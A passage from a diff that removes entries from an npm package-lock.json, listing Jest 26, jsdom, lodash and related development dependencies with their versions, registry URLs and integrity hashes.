-          "integrity": "sha512-PD6G8QG3S4FK/XCGFbEQrDqO2AnMMsy0meR7lerlIOHAAbkuavGU/pOqprrlvfTNjvowivTeBsjebAL0NSoMxw==",
-          "dev": true,
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "execa": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/execa/-/execa-4.0.1.tgz",
-          "integrity": "sha512-SCjM/zlBdOK8Q5TIjOn6iEHZaPHFsMoTxXQ2nvUvtPnuohz3H2dIozSg+etNR98dGoYUp2ENSKLL/XaMmbxVgw==",
-          "dev": true,
-          "requires": {
-            "cross-spawn": "^7.0.0",
-            "get-stream": "^5.0.0",
-            "human-signals": "^1.1.1",
-            "is-stream": "^2.0.0",
-            "merge-stream": "^2.0.0",
-            "npm-run-path": "^4.0.0",
-            "onetime": "^5.1.0",
-            "signal-exit": "^3.0.2",
-            "strip-final-newline": "^2.0.0"
-          }
-        },
-        "get-stream": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz",
-          "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==",
-          "dev": true,
-          "requires": {
-            "pump": "^3.0.0"
-          }
-        },
-        "is-stream": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.0.tgz",
-          "integrity": "sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==",
-          "dev": true
-        },
-        "npm-run-path": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
-          "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
-          "dev": true,
-          "requires": {
-            "path-key": "^3.0.0"
-          }
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
-          "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
-          "dev": true
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
-          "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
-          "dev": true,
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
-          "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
-          "dev": true
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
-          "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
-          "dev": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "jest-config": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-26.0.1.tgz",
-      "integrity": "sha512-9mWKx2L1LFgOXlDsC4YSeavnblN6A4CPfXFiobq+YYLaBMymA/SczN7xYTSmLaEYHZOcB98UdoN4m5uNt6tztg==",
-      "dev": true,
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/test-sequencer": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "babel-jest": "^26.0.1",
-        "chalk": "^4.0.0",
-        "deepmerge": "^4.2.2",
-        "glob": "^7.1.1",
-        "graceful-fs": "^4.2.4",
-        "jest-environment-jsdom": "^26.0.1",
-        "jest-environment-node": "^26.0.1",
-        "jest-get-type": "^26.0.0",
-        "jest-jasmine2": "^26.0.1",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jest-validate": "^26.0.1",
-        "micromatch": "^4.0.2",
-        "pretty-format": "^26.0.1"
-      }
-    },
-    "jest-diff": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.0.1.tgz",
-      "integrity": "sha512-odTcHyl5X+U+QsczJmOjWw5tPvww+y9Yim5xzqxVl/R1j4z71+fHW4g8qu1ugMmKdFdxw+AtQgs5mupPnzcIBQ==",
-      "dev": true,
-      "requires": {
-        "chalk": "^4.0.0",
-        "diff-sequences": "^26.0.0",
-        "jest-get-type": "^26.0.0",
-        "pretty-format": "^26.0.1"
-      }
-    },
-    "jest-docblock": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-26.0.0.tgz",
-      "integrity": "sha512-RDZ4Iz3QbtRWycd8bUEPxQsTlYazfYn/h5R65Fc6gOfwozFhoImx+affzky/FFBuqISPTqjXomoIGJVKBWoo0w==",
-      "dev": true,
-      "requires": {
-        "detect-newline": "^3.0.0"
-      }
-    },
-    "jest-each": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-26.0.1.tgz",
-      "integrity": "sha512-OTgJlwXCAR8NIWaXFL5DBbeS4QIYPuNASkzSwMCJO+ywo9BEa6TqkaSWsfR7VdbMLdgYJqSfQcIyjJCNwl5n4Q==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "jest-get-type": "^26.0.0",
-        "jest-util": "^26.0.1",
-        "pretty-format": "^26.0.1"
-      }
-    },
-    "jest-environment-jsdom": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-26.0.1.tgz",
-      "integrity": "sha512-u88NJa3aptz2Xix2pFhihRBAatwZHWwSiRLBDBQE1cdJvDjPvv7ZGA0NQBxWwDDn7D0g1uHqxM8aGgfA9Bx49g==",
-      "dev": true,
-      "requires": {
-        "@jest/environment": "^26.0.1",
-        "@jest/fake-timers": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "jest-mock": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jsdom": "^16.2.2"
-      }
-    },
-    "jest-environment-node": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-26.0.1.tgz",
-      "integrity": "sha512-4FRBWcSn5yVo0KtNav7+5NH5Z/tEgDLp7VRQVS5tCouWORxj+nI+1tOLutM07Zb2Qi7ja+HEDoOUkjBSWZg/IQ==",
-      "dev": true,
-      "requires": {
-        "@jest/environment": "^26.0.1",
-        "@jest/fake-timers": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "jest-mock": "^26.0.1",
-        "jest-util": "^26.0.1"
-      }
-    },
-    "jest-get-type": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.0.0.tgz",
-      "integrity": "sha512-zRc1OAPnnws1EVfykXOj19zo2EMw5Hi6HLbFCSjpuJiXtOWAYIjNsHVSbpQ8bDX7L5BGYGI8m+HmKdjHYFF0kg==",
-      "dev": true
-    },
-    "jest-haste-map": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-26.0.1.tgz",
-      "integrity": "sha512-J9kBl/EdjmDsvyv7CiyKY5+DsTvVOScenprz/fGqfLg/pm1gdjbwwQ98nW0t+OIt+f+5nAVaElvn/6wP5KO7KA==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "@types/graceful-fs": "^4.1.2",
-        "anymatch": "^3.0.3",
-        "fb-watchman": "^2.0.0",
-        "fsevents": "^2.1.2",
-        "graceful-fs": "^4.2.4",
-        "jest-serializer": "^26.0.0",
-        "jest-util": "^26.0.1",
-        "jest-worker": "^26.0.0",
-        "micromatch": "^4.0.2",
-        "sane": "^4.0.3",
-        "walker": "^1.0.7",
-        "which": "^2.0.2"
-      },
-      "dependencies": {
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
-          "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
-          "dev": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "jest-jasmine2": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-26.0.1.tgz",
-      "integrity": "sha512-ILaRyiWxiXOJ+RWTKupzQWwnPaeXPIoLS5uW41h18varJzd9/7I0QJGqg69fhTT1ev9JpSSo9QtalriUN0oqOg==",
-      "dev": true,
-      "requires": {
-        "@babel/traverse": "^7.1.0",
-        "@jest/environment": "^26.0.1",
-        "@jest/source-map": "^26.0.0",
-        "@jest/test-result": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "co": "^4.6.0",
-        "expect": "^26.0.1",
-        "is-generator-fn": "^2.0.0",
-        "jest-each": "^26.0.1",
-        "jest-matcher-utils": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-runtime": "^26.0.1",
-        "jest-snapshot": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "pretty-format": "^26.0.1",
-        "throat": "^5.0.0"
-      }
-    },
-    "jest-leak-detector": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-26.0.1.tgz",
-      "integrity": "sha512-93FR8tJhaYIWrWsbmVN1pQ9ZNlbgRpfvrnw5LmgLRX0ckOJ8ut/I35CL7awi2ecq6Ca4lL59bEK9hr7nqoHWPA==",
-      "dev": true,
-      "requires": {
-        "jest-get-type": "^26.0.0",
-        "pretty-format": "^26.0.1"
-      }
-    },
-    "jest-matcher-utils": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-26.0.1.tgz",
-      "integrity": "sha512-PUMlsLth0Azen8Q2WFTwnSkGh2JZ8FYuwijC8NR47vXKpsrKmA1wWvgcj1CquuVfcYiDEdj985u5Wmg7COEARw==",
-      "dev": true,
-      "requires": {
-        "chalk": "^4.0.0",
-        "jest-diff": "^26.0.1",
-        "jest-get-type": "^26.0.0",
-        "pretty-format": "^26.0.1"
-      }
-    },
-    "jest-message-util": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-26.0.1.tgz",
-      "integrity": "sha512-CbK8uQREZ8umUfo8+zgIfEt+W7HAHjQCoRaNs4WxKGhAYBGwEyvxuK81FXa7VeB9pwDEXeeKOB2qcsNVCAvB7Q==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "@jest/types": "^26.0.1",
-        "@types/stack-utils": "^1.0.1",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "micromatch": "^4.0.2",
-        "slash": "^3.0.0",
-        "stack-utils": "^2.0.2"
-      }
-    },
-    "jest-mock": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-26.0.1.tgz",
-      "integrity": "sha512-MpYTBqycuPYSY6xKJognV7Ja46/TeRbAZept987Zp+tuJvMN0YBWyyhG9mXyYQaU3SBI0TUlSaO5L3p49agw7Q==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1"
-      }
-    },
-    "jest-pnp-resolver": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.1.tgz",
-      "integrity": "sha512-pgFw2tm54fzgYvc/OHrnysABEObZCUNFnhjoRjaVOCN8NYc032/gVjPaHD4Aq6ApkSieWtfKAFQtmDKAmhupnQ==",
-      "dev": true
-    },
-    "jest-regex-util": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-26.0.0.tgz",
-      "integrity": "sha512-Gv3ZIs/nA48/Zvjrl34bf+oD76JHiGDUxNOVgUjh3j890sblXryjY4rss71fPtD/njchl6PSE2hIhvyWa1eT0A==",
-      "dev": true
-    },
-    "jest-resolve": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-26.0.1.tgz",
-      "integrity": "sha512-6jWxk0IKZkPIVTvq6s72RH735P8f9eCJW3IM5CX/SJFeKq1p2cZx0U49wf/SdMlhaB/anann5J2nCJj6HrbezQ==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "jest-pnp-resolver": "^1.2.1",
-        "jest-util": "^26.0.1",
-        "read-pkg-up": "^7.0.1",
-        "resolve": "^1.17.0",
-        "slash": "^3.0.0"
-      }
-    },
-    "jest-resolve-dependencies": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-26.0.1.tgz",
-      "integrity": "sha512-9d5/RS/ft0vB/qy7jct/qAhzJsr6fRQJyGAFigK3XD4hf9kIbEH5gks4t4Z7kyMRhowU6HWm/o8ILqhaHdSqLw==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "jest-regex-util": "^26.0.0",
-        "jest-snapshot": "^26.0.1"
-      }
-    },
-    "jest-runner": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-26.0.1.tgz",
-      "integrity": "sha512-CApm0g81b49Znm4cZekYQK67zY7kkB4umOlI2Dx5CwKAzdgw75EN+ozBHRvxBzwo1ZLYZ07TFxkaPm+1t4d8jA==",
-      "dev": true,
-      "requires": {
-        "@jest/console": "^26.0.1",
-        "@jest/environment": "^26.0.1",
-        "@jest/test-result": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "exit": "^0.1.2",
-        "graceful-fs": "^4.2.4",
-        "jest-config": "^26.0.1",
-        "jest-docblock": "^26.0.0",
-        "jest-haste-map": "^26.0.1",
-        "jest-jasmine2": "^26.0.1",
-        "jest-leak-detector": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-resolve": "^26.0.1",
-        "jest-runtime": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jest-worker": "^26.0.0",
-        "source-map-support": "^0.5.6",
-        "throat": "^5.0.0"
-      }
-    },
-    "jest-runtime": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-26.0.1.tgz",
-      "integrity": "sha512-Ci2QhYFmANg5qaXWf78T2Pfo6GtmIBn2rRaLnklRyEucmPccmCKvS9JPljcmtVamsdMmkyNkVFb9pBTD6si9Lw==",
-      "dev": true,
-      "requires": {
-        "@jest/console": "^26.0.1",
-        "@jest/environment": "^26.0.1",
-        "@jest/fake-timers": "^26.0.1",
-        "@jest/globals": "^26.0.1",
-        "@jest/source-map": "^26.0.0",
-        "@jest/test-result": "^26.0.1",
-        "@jest/transform": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "@types/yargs": "^15.0.0",
-        "chalk": "^4.0.0",
-        "collect-v8-coverage": "^1.0.0",
-        "exit": "^0.1.2",
-        "glob": "^7.1.3",
-        "graceful-fs": "^4.2.4",
-        "jest-config": "^26.0.1",
-        "jest-haste-map": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-mock": "^26.0.1",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.0.1",
-        "jest-snapshot": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jest-validate": "^26.0.1",
-        "slash": "^3.0.0",
-        "strip-bom": "^4.0.0",
-        "yargs": "^15.3.1"
-      }
-    },
-    "jest-serializer": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-26.0.0.tgz",
-      "integrity": "sha512-sQGXLdEGWFAE4wIJ2ZaIDb+ikETlUirEOBsLXdoBbeLhTHkZUJwgk3+M8eyFizhM6le43PDCCKPA1hzkSDo4cQ==",
-      "dev": true,
-      "requires": {
-        "graceful-fs": "^4.2.4"
-      }
-    },
-    "jest-snapshot": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-26.0.1.tgz",
-      "integrity": "sha512-jxd+cF7+LL+a80qh6TAnTLUZHyQoWwEHSUFJjkw35u3Gx+BZUNuXhYvDqHXr62UQPnWo2P6fvQlLjsU93UKyxA==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.0.0",
-        "@jest/types": "^26.0.1",
-        "@types/prettier": "^2.0.0",
-        "chalk": "^4.0.0",
-        "expect": "^26.0.1",
-        "graceful-fs": "^4.2.4",
-        "jest-diff": "^26.0.1",
-        "jest-get-type": "^26.0.0",
-        "jest-matcher-utils": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-resolve": "^26.0.1",
-        "make-dir": "^3.0.0",
-        "natural-compare": "^1.4.0",
-        "pretty-format": "^26.0.1",
-        "semver": "^7.3.2"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.2",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
-          "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
-          "dev": true
-        }
-      }
-    },
-    "jest-util": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-26.0.1.tgz",
-      "integrity": "sha512-byQ3n7ad1BO/WyFkYvlWQHTsomB6GIewBh8tlGtusiylAlaxQ1UpS0XYH0ngOyhZuHVLN79Qvl6/pMiDMSSG1g==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "is-ci": "^2.0.0",
-        "make-dir": "^3.0.0"
-      }
-    },
-    "jest-validate": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-26.0.1.tgz",
-      "integrity": "sha512-u0xRc+rbmov/VqXnX3DlkxD74rHI/CfS5xaV2VpeaVySjbb1JioNVOyly5b56q2l9ZKe7bVG5qWmjfctkQb0bA==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "camelcase": "^6.0.0",
-        "chalk": "^4.0.0",
-        "jest-get-type": "^26.0.0",
-        "leven": "^3.1.0",
-        "pretty-format": "^26.0.1"
-      },
-      "dependencies": {
-        "camelcase": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.0.0.tgz",
-          "integrity": "sha512-8KMDF1Vz2gzOq54ONPJS65IvTUaB1cHJ2DMM7MbPmLZljDH1qpzzLsWdiN9pHh6qvkRVDTi/07+eNGch/oLU4w==",
-          "dev": true
-        }
-      }
-    },
-    "jest-watcher": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-26.0.1.tgz",
-      "integrity": "sha512-pdZPydsS8475f89kGswaNsN3rhP6lnC3/QDCppP7bg1L9JQz7oU9Mb/5xPETk1RHDCWeqmVC47M4K5RR7ejxFw==",
-      "dev": true,
-      "requires": {
-        "@jest/test-result": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^4.0.0",
-        "jest-util": "^26.0.1",
-        "string-length": "^4.0.1"
-      }
-    },
-    "jest-worker": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.0.0.tgz",
-      "integrity": "sha512-pPaYa2+JnwmiZjK9x7p9BoZht+47ecFCDFA/CJxspHzeDvQcfVBLWzCiWyo+EGrSiQMWZtCFo9iSvMZnAAo8vw==",
-      "dev": true,
-      "requires": {
-        "merge-stream": "^2.0.0",
-        "supports-color": "^7.0.0"
-      }
-    },
-    "js-tokens": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
-      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
-      "dev": true
-    },
-    "js-yaml": {
-      "version": "3.13.1",
-      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
-      "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
-      "dev": true,
-      "requires": {
-        "argparse": "^1.0.7",
-        "esprima": "^4.0.0"
-      }
-    },
-    "jsbn": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
-      "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=",
-      "dev": true
-    },
-    "jsdom": {
-      "version": "16.2.2",
-      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.2.2.tgz",
-      "integrity": "sha512-pDFQbcYtKBHxRaP55zGXCJWgFHkDAYbKcsXEK/3Icu9nKYZkutUXfLBwbD+09XDutkYSHcgfQLZ0qvpAAm9mvg==",
-      "dev": true,
-      "requires": {
-        "abab": "^2.0.3",
-        "acorn": "^7.1.1",
-        "acorn-globals": "^6.0.0",
-        "cssom": "^0.4.4",
-        "cssstyle": "^2.2.0",
-        "data-urls": "^2.0.0",
-        "decimal.js": "^10.2.0",
-        "domexception": "^2.0.1",
-        "escodegen": "^1.14.1",
-        "html-encoding-sniffer": "^2.0.1",
-        "is-potential-custom-element-name": "^1.0.0",
-        "nwsapi": "^2.2.0",
-        "parse5": "5.1.1",
-        "request": "^2.88.2",
-        "request-promise-native": "^1.0.8",
-        "saxes": "^5.0.0",
-        "symbol-tree": "^3.2.4",
-        "tough-cookie": "^3.0.1",
-        "w3c-hr-time": "^1.0.2",
-        "w3c-xmlserializer": "^2.0.0",
-        "webidl-conversions": "^6.0.0",
-        "whatwg-encoding": "^1.0.5",
-        "whatwg-mimetype": "^2.3.0",
-        "whatwg-url": "^8.0.0",
-        "ws": "^7.2.3",
-        "xml-name-validator": "^3.0.0"
-      }
-    },
-    "jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
-      "dev": true
-    },
-    "json-parse-better-errors": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
-      "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==",
-      "dev": true
-    },
-    "json-schema": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
-      "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=",
-      "dev": true
-    },
-    "json-schema-traverse": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
-      "dev": true
-    },
-    "json-stable-stringify-without-jsonify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
-      "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=",
-      "dev": true
-    },
-    "json-stringify-safe": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
-      "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=",
-      "dev": true
-    },
-    "json5": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz",
-      "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==",
-      "dev": true,
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "jsprim": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
-      "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
-      "dev": true,
-      "requires": {
-        "assert-plus": "1.0.0",
-        "extsprintf": "1.3.0",
-        "json-schema": "0.2.3",
-        "verror": "1.10.0"
-      }
-    },
-    "kind-of": {
-      "version": "6.0.3",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-      "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
-      "dev": true
-    },
-    "kleur": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
-      "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
-      "dev": true
-    },
-    "leven": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
-      "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
-      "dev": true
-    },
-    "levn": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
-      "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
-      "dev": true,
-      "requires": {
-        "prelude-ls": "~1.1.2",
-        "type-check": "~0.3.2"
-      }
-    },
-    "lines-and-columns": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz",
-      "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=",
-      "dev": true
-    },
-    "locate-path": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
-      "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
-      "dev": true,
-      "requires": {
-        "p-locate": "^4.1.0"
-      }
-    },
-    "lodash": {
-      "version": "4.17.19",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz",
-      "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==",
-      "dev": true
-    },
-    "lodash.get": {
-      "version": "4.4.2",
-      "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
-      "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=",
-      "dev": true
-    },
-    "lodash.memoize": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
-      "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=",
-      "dev": true
-    },
-    "lodash.set": {
-      "version": "4.3.2",
-      "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz",
-      "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=",
-      "dev": true
-    },
-    "lodash.sortby": {
-      "version": "4.7.0",
-      "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
-      "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=",
-      "dev": true
-    },
-    "lodash.uniq": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
-      "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=",
-      "dev": true
-    },
-    "macos-release": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.3.0.tgz",
-      "integrity": "sha512-OHhSbtcviqMPt7yfw5ef5aghS2jzFVKEFyCJndQt2YpSQ9qRVSEv2axSJI1paVThEu+FFGs584h/1YhxjVqajA==",
-      "dev": true
